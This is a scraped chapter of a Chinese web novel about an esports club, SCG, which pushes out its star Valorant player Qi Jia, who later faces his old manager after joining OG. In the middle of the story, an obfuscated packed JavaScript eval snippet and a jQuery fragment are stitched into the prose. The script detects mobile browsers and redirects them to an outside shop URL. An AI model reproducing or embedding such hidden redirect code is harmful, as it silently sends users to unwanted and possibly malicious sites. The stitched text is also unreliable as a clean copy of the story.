“FG打算出多少钱买他？”


    听清韩瑞生的话后，宋培如坠冰窖。


    “老韩！”


    张恒悄悄握紧放在桌下的拳头，转头看见脸色发白的宋培，等视线再对上韩瑞生时里面已经多了丝不满。


    韩瑞生瞥一眼张恒，只是安抚性地笑一下，之后便继续对宋培说：


    “小宋啊，你就是太善良了，他找你谈话就是想找你来试探咱们的底线。你说对吧，黄经理。”


    “韩总您说的对，但lovely平时跟大家关系都挺好的，也挺感激咱们当初跟他签约，说不定真是想留在SCG呢。”“这七月份的螃蟹看着也不错，肉质细嫩，您尝尝。”


    黄金年笑着把盛有剥好螃蟹的盘子送到了韩瑞生的面前。


    “多谢多谢，还是我有口福。”


    韩瑞生毫不客气地拿起筷子将雪白的蟹肉夹进嘴里，尝完后赞不绝口。


    “黄经理剥螃蟹的功夫不错，人也细心。”


    “谢谢韩总，这还有汤，您慢用。”


    黄金年继续笑着跟韩瑞生攀谈，而坐在他对面的宋培双眼无神，看样子已经走了有一会儿了。


    张恒看不下去，用膝盖撞了下宋培的腿，才把他的魂给叫回来。


    回神后的宋培昂放下了手里的筷子，装作有事拿起桌上的手机在屏幕上一通乱点，实际上他一个字都没看进去。


    他本想趁着韩瑞生在，给齐嘉要个好价钱，可他忘了，韩瑞生不是张恒，他是个彻头彻尾的商人。


    “lovely不能卖。”


    听见张恒斩钉截铁的话，宋培猛地转头看向身边的张恒，他此刻的神情和决定要签下齐嘉的那日如出一撤。


    韩瑞生表情未变：


    “为什么不能卖呀？”


    “他要是走了，SCG这一年的比赛都办法打了。”


    “可SCG也在耽误他不是吗？”


    韩瑞生靠在座椅靠背上，笑着用最锋利地话捅进张恒的心里，宋培在旁边听着马上要碎掉：


    “他不愿意走，他说想留下来跟大家一起！”


    宋培以为表忠心会增加韩瑞生的信任，但是韩瑞生却说：


    “他要是真的看重大家的兄弟情，便不会在意那些钱。小宋，你还没看明白吗？他是在以FG跟他接触这件事来威胁你，威胁我们啊。”


    “这一次谈涨薪，下一次谈抽成，SCG这座小庙能留得住他那尊大佛吗？”


    宋培说不出话，他心里有无数个声音在说，他说的不对，齐嘉绝不会这样，但是他却找不到一个字来反驳韩瑞生的那句话。


    “他必须留下。”


    张恒直视韩瑞生眼睛，SCG的无畏契约分部成立到现在，齐嘉是最有天赋的选手。只要再多几个这样的选手，他们肯定会取得更好的成绩……


    “今年瓦分部的资金已经全都批下来了，你们可以看下账上有多少钱。隔壁也需要钱来维持住局面，我不能用SCG的家底来陪你冒险。”


    韩瑞生扫一眼张恒的表情就知道他在想什么，可是时至今日，他们能在英雄联盟的项目上取得成绩已经是十分难得的了，哪有他们入场的每个项目都能名利双收的道理？


    眼见在场的人都沉默了，韩瑞生接着补充道：


    “余下两年多的合同能卖个不错的价钱，他的转会费不进公账。这种捉襟见肘的日子，你们都过多久了？”


    卖了齐嘉，然后用这笔钱来组建更好的队伍，他们也过一段时间的宽松日子。


    “不——”


    张恒刚开口就被韩瑞生打断：


    “签了齐嘉已经是上天在给瓦分部续命！不会再有第二个齐嘉让我们捡漏了。”


    “当初除了SCG哪个队伍能要他？我们把他从一滩烂泥教到现在这样小有名气，已经算对得起他了。”


    “他转会留给我们一笔钱，也算是回馈SCG，大家互相成就。”


    宋培和张恒的脑子嗡嗡作响，就连黄金年都眉头紧皱。


    韩瑞生说的没有错，无论从什么角度讲，齐嘉离开SCG都是最好的选择。


    留下，只会互相折磨，非要折磨尽所有的感情后才离开吗？


    “lovely不愿意走的……”


    宋培的话有气无力，他该怎么去面对齐嘉的一腔热血和满心信任？


    韩瑞生：“我会帮他。”


    这场饭局吃到最后，所有人都心事重重，韩瑞生拉着张恒离开，宋培则和黄建年留在江边散步。


    夏日夜晚的江风吹散潮热，宋培在一处观景台前停下，静静地望着江面上来来往往地船只，不发一语。


    “不要自责，韩总早晚会知道这件事的。”


    或者说，这件事早就在韩瑞生的意料之中。经过今天韩瑞生在餐桌上的言论，黄金年猜大约在齐嘉开始崭露头角的时候，韩瑞生就开始计划这件事了。


    宋培依旧无话，黄金年和张恒都办法的事情，他又能有什么办法呢？


    “跟他谈谈吧，言明利害。”


    黄金年知道宋培惜才，如果当初签进来的时候菜鸟，宋培肯定不会跟他如此亲近，可机缘巧合，那人偏偏是齐嘉。


    -


    “什么叫下次有机会就跟他们接触解除，我说了要留下的！”


    齐嘉不明白宋培把自己拉到楼顶，就是为了说这件事。


    “你在SCG永远拿不了冠军。”


    齐嘉呼吸一滞，他瞪大眼睛，不可思议地望着宋培。为什么，他能说出来这么伤人的话！


    “……你不想要冠军了吗？”


    “想要和得到是两回事！”


    宋培吼完后无力地蹲了下去，这是他这些年感触最深的一句话。


    被暴晒了一天的楼顶，连掠过的风都带着燥热。


    齐嘉低头只能看到宋培的头顶，他往后退了退，他不敢相信曾经那么不遗余力帮助自己的宋培会变成这个样子。


    “我都没放弃，你为什么要放弃？”


    齐嘉的声音在颤抖，而回答他的宋培的声音也在颤抖：


    “小齐，我看到我的终点了。”


    这之后的齐嘉拼了命的训练，不仅对自己的严苛，对队友也严厉了不少，那个温和内敛的齐嘉一去不复返。


    宋培跟他的沟通也不似从前那般密切，人也变得有些浑浑噩噩。


    齐嘉也不主动找宋培，他在赌气，他觉得SCG一定会取得更好的成绩，这绝不是他们的终点。


    然而，至此这件事情依旧没有到达终点。


    【黄金年：工资已发，如有错误请及时找我上报】


    当群里弹出黄金年的关于查收工资的消息时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807786|183669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，齐嘉才想起来是发薪日，等他打开手机短信看请上面的入账金额时，眼前瞬间天旋地转，连牙齿都在颤抖：


    【您的账户于3月10日15时10分存入人民币12000.1元，可用余额xxxxx元。附言：工资】


    一万二是齐嘉原本的工资，分红是另算的，所以那个0.1元是俱乐部给他涨的工资。


    齐嘉手脚冰凉使不上力气，掌心的手机啪嗒一声摔在了地上。


    “小齐你怎么了？”


    Paperplan听见声音转过来，发现齐嘉整张脸白的可怕，弯腰捡起手机后透过摔碎的屏幕看见银行那条转账消息后，倒吸一口凉气。


    齐嘉的工资他是知道的，齐嘉有提涨工资的想法，他也是知道的。


    “会不会是弄错了？你去问问黄经理？”


    弄错了？不可能，齐嘉自己都不信，那么多零，弄错的几率有多少？


    “我去问——”


    齐嘉抓住了Paperplan的手腕，惨白的脸上浮现出一丝难看的要死的笑容：


    “不用了，他们都想我走而已。”


    齐嘉明白了，老板想让他走，经理想让他走，就连宋培都想让他走。


    于是，在今年第二场大师赛结束后，齐嘉真的走了。


    杜若看中了他的连杀能力，花高价从SCG那里把他买了过来。


    “不过，思前想后，我还是得谢谢你们把我签下，不然我怎么会有机会来到OG。”


    在OG，不会有人告诉齐嘉：他们比赛的终点不是冠军。


    “……”


    宋培知道齐嘉的每一句话在指什么，所以他除了道歉的话，什么都说不出口。


    齐嘉只能看见宋培低着头的侧脸，看见他的嘴巴死死咬住下唇。


    他曾在梦里幻想过无数次这个场景，幻想自己亲手打败SCG，然后来到宋培的面前，看着他为自己的决策悔恨不已。


    可是真到这一步，想象中的爽感并没有到来，因为他无法忽视身边宋培有关愧疚的一举一动。


    齐嘉忽然就明白，为什么丰茂年会对97有那么深的执念，原来爱和恨混在一起真的让人割舍不掉。


    “你会去看我夺冠吗？”


    宋培猛得抬头，齐嘉眉宇间的阴郁消失了，恍惚间他好像看到了那个初遇时温和的少年。但此刻齐嘉眼神里的坚定又在提醒他，回不到往昔了。


    “好，我希望我在舞台上。”


    “哈哈哈哈哈哈。”


    齐嘉放声大笑，笑出的眼泪模糊了他的视线。


    他听到了个好笑的笑话，原来，SCG的战意是要用自己的离开才能被激发出来的吗？


    齐嘉没有跟宋培告别，就此转身离开。


    -


    “嘉哥，往里挪挪往里挪挪。”


    齐嘉这边刚坐上车，虞千林就坐到了他的旁边。


    “怎么了？”


    齐嘉听话地坐到了里面的座位上，但看见虞千林眼里闪过的精光，他好像想到了什么。


    “嘻嘻，瓜太多吃不明白了，你给我讲讲呗。”


    “什么瓜？”


    “喏，你看。”


    虞千林把手机递给了齐嘉，齐嘉看见上面的黑色粗字标题：


    【标题：典：“我不会忘了我的来时路”】